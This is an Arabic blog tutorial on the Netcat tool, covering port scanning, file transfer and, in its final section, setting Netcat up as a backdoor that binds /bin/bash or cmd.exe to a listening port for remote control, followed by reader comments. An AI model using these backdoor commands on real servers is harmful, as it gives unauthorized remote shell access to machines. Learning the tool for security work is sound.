iSecur1ty - Arab Security Community

شرح أداة Netcat – The Swiss Army Knife

السلام عليكم ورحمة الله وبركاته

netcat-logo.png
Netcat من أفضل الأدوات التي عرفها الـ Hackers تقوم هذه الأداة
بارسال واستقبال البيانات باستعمال الـ TCP & UDP Protocols
وهي بالمرتبة الرابعة في قائمة Top 100 Network Security Tools

استخدامات الـ Netcat متعددة وخطيرة فتستطيع استعمالها لكثير من الأمور منها

فحص المنافذ المفتوحة في السيرفر

تستطيع أداة الـ Netcat فحص المنافذ المفتوحة بالسيرفر ولكن الـ Nmap
أفضل وأسرع منها في ذلك << سأضع شرح لها قريبا ان شاء الله, وللقيام
بهذه العملية نستعمل الأمر

nc -v -w1 SERVER-IP -z FromPort-ToPort

أما بالنسبة للخيارات التي استخدمناها
-v لجعل الأداة تعمل بشكل الـ verbose mode أي لرؤية ماذا يحدث
-w لتحديدي الـ Time out لكل اتصال وهنا حددناه ثانية واحدة
-z تستعمل في عملية فحص المنافذ

مثال على ذلك

nc -v -w1 64.233.183.147 -z 1-100

ولفحص أكثر من نطاق منافذ نستعمل الأمر

nc -v -w1 -z 64.233.183.147 -z 1-100 400-500

ملاحظة: 64.233.183.147 هو IP موقع Google

نقل الملفات بين جهازك والسيرفر

من ميزات الـ Netcat أنها تستطيع نقل الملفات بين جهازين
وللقيام بهذه العملية نطبق الأمر في الجهاز المرسل

nc SERVER-IP PORT < FILE

ونطبق الأمر في الجهاز المستقبل

nc -l -p PORT > FILE

مثال لارسال ملف اسمه data.txt عن طريق البورت 5555 مثلا

nc 192.168.0.45 5555 < data.txt

أما بالنسبة لاستقبال ملف data.txt عن طريق المنفذ 5555 ننفذ الأمر

nc -l -p 5555 > data.txt

جعل الـ Netcat تعمل كـ Backdoor

هذه أخطر استعمالات الـ Netcat لأنه يشكل خطورة على الجهاز و السيرفر بشكل عام
حيث تمتاز أداة الـ Netcat بخاصية ارسال البيانات الى برنامج معين مثل cmd.exe
في ويندوز و /bin/bash في لينوكس مما يجعلك تستطيع تطبيق أوامر على السيرفر
والتحكم به بشكل كامل يتم تنفيذ هذه الخاصية باستعمال الأمر

nc -l -p PORT -e PROGRAM

مع اضافة -d و -L في ويندوز ليصبح الأمر

nc -l -p PORT -d -e PROGRAM -L

مثال على هذه الخاصية نقوم بتطبيق الأمر

nc -l -p 4455 -e /bin/bash

على السيرفر اذا كان السيرفر ويندوز نطبق نفس الأمر مع اضافة -L و -d مع القيام بتغيير
الـ /bin/bash الى cmd.exe ليصبح الأمر بالشكل

nc -l -p 4455 -e -d cmd.exe -L

وللاتصال بالسيرفر نطبق الأمر

nc -v -n SERVER-IP 4455

وبهذه الطريقة نستطيع ارسال أوامر للتحكم بالسيرفر ولمعرفة جميع خصائص هذه الأداة نفذ الأمر

nc -h

تحميل أداة Netcat لنظام لينوكس | تحميل أداة Netcat لنظام ويندوز

ان أصبت فمن الله وان أخطأت فمن نفسي ومن الشيطان

أرجو أن ينال الشرح اعجابكم
تحياتي Br4v3-H34r7.

رابط التعقيبات التعليقات RSS

أرسل الى صديق





أرسل الموضوع
twitter del.icio.us digg reddit stumbleupon facebook technorati google yahoo

التعليقات
  1. 31- طارق موسي كتب بتاريخ: 29 Mar 2009 الساعة: 2:31 PM

    انا اليوم بعد ما تعبت في الهاكينج و البحث عرفت المدونه دي بس الحمد لله اني عرفتها اصلا و مشكور اخي

  2. 32- بنت العراق كتب بتاريخ: 12 Apr 2009 الساعة: 2:08 AM

    السلام عليكم
    شكرا جزيلا اخي العزيز على الشرح..انت فعلا ساعدتني بفهم البرنامج
    وان شاء الله ححاول اكون مفيدة واضيف استخدام اخر بعد اكمال الاطلاع والتنفيذ
    وفقك ربي

  3. 33- so9or كتب بتاريخ: 06 May 2009 الساعة: 10:02 PM

    تسلم والله على الدرس الجميل الاكثر من رائع

  4. 34- mrloong كتب بتاريخ: 11 May 2009 الساعة: 12:18 PM

    شـكــ وبارك الله فيك ـــرا لك … لك مني أجمل تحية .

  5. 35- HaCk-dz كتب بتاريخ: 12 Jul 2009 الساعة: 12:41 PM

    السسلام عليكم

    اخي عبد المهيمـن ، انا جربت متـل ما قلـت بالششرح لكـن طلع لـى هاد المسسج !!!

    inverse host lookup failed: h_errno 11004: NO_DATA

    وهآذ
    (UNKNOWN) [Ip server] 97 (?): TIMEDOUT
    يعني 97 هـو البورت !!

    انتظر الاجابـه

    تحيآتـى

  6. 36- عبدالمهيمن كتب بتاريخ: 12 Jul 2009 الساعة: 4:17 PM

    @HaCk-dz: رسالة inverse host lookup failed تعني وجود مشكلة بالـ DNS الرسالة التالية تعني عدم تمكن الأداة من الاتصال مع الـ IP الذي حددته عن طريق المنفذ 97.

  7. 37- pentest كتب بتاريخ: 29 Jul 2009 الساعة: 5:37 AM

    مشكور اخوي القدير عبد المهمين وان وما شاء الله مدونة احلى من اي مدونة اخرى اشكرك على فتخها واستفادة الجميع منها وشكرا على الشرح

  8. 38- Absolute Beginner كتب بتاريخ: 10 Aug 2009 الساعة: 12:02 AM

    بارك الله فيك اخي

    شرح رائع ومواضيعك في القمة

    واصل بدون فواصل

  9. 39- Dr.XxS كتب بتاريخ: 20 Oct 2009 الساعة: 5:55 PM

    كفوو والله يا ابن البلد

    مشكور حبيبي عبدالمهيمن

    مدونة رائعه والله

  10. 40- TOP SAT 13 كتب بتاريخ: 03 Nov 2009 الساعة: 7:58 PM

    السلام عليكم
    شرح ممتاز لكن ناقصه شيئ وهو الاتصال بالسرفر وتخطي المشاكل
    انا لدي مشاكل عندما اتصل
    لا استطيع تضهر فقط TIMEDOUT او OPEN و فقط

  11. 41- flat كتب بتاريخ: 11 Nov 2009 الساعة: 12:49 AM

    عاشو على هذا الشرح >>>>>>>>>>>>العراقي

  12. 42- SyRiAn_34G13 كتب بتاريخ: 26 Nov 2009 الساعة: 8:55 AM

    غريب و الله
    انا منزمان ما شفت شرح رائع متل هالشرح
    مشكور أخ بريف
    و انشالله نشوف المزيدمن ابداعاتك
    ^_^

  13. 43- HTML كتب بتاريخ: 30 Nov 2009 الساعة: 8:29 PM

    مشكور اخوي على الشرح الوافي

    اجعلو شعاركم لا للبرايفت

    سلامي

  14. 44- Talal كتب بتاريخ: 11 Jan 2010 الساعة: 3:53 PM

    انت راجل باشا و رئيس قسم, بجد حاولت افهم من مواقع اجنبيه وعربية بس اللى فهمنى مقالك ده, مع انك كاتبو من سنتين بس شوف العمل الطيب بيقعد للشخص و الدعوة انشالله تكون وصلتلك يا جميل

  15. 45- احمد الحارسي كتب بتاريخ: 01 Feb 2010 الساعة: 5:26 PM

    انا اخ محمد الحارسي فيى العراق صديقك اريد ان اكون صديقك ولدي كثي لاقول لك وانشاءالله سيستفيد كلنا من الاخر مع تحياتي لك

الصفحات: « 1 2 [3] 4 » أظهر جميع التعليقات
المشاركة بتعليق

               


أعلى الصفحة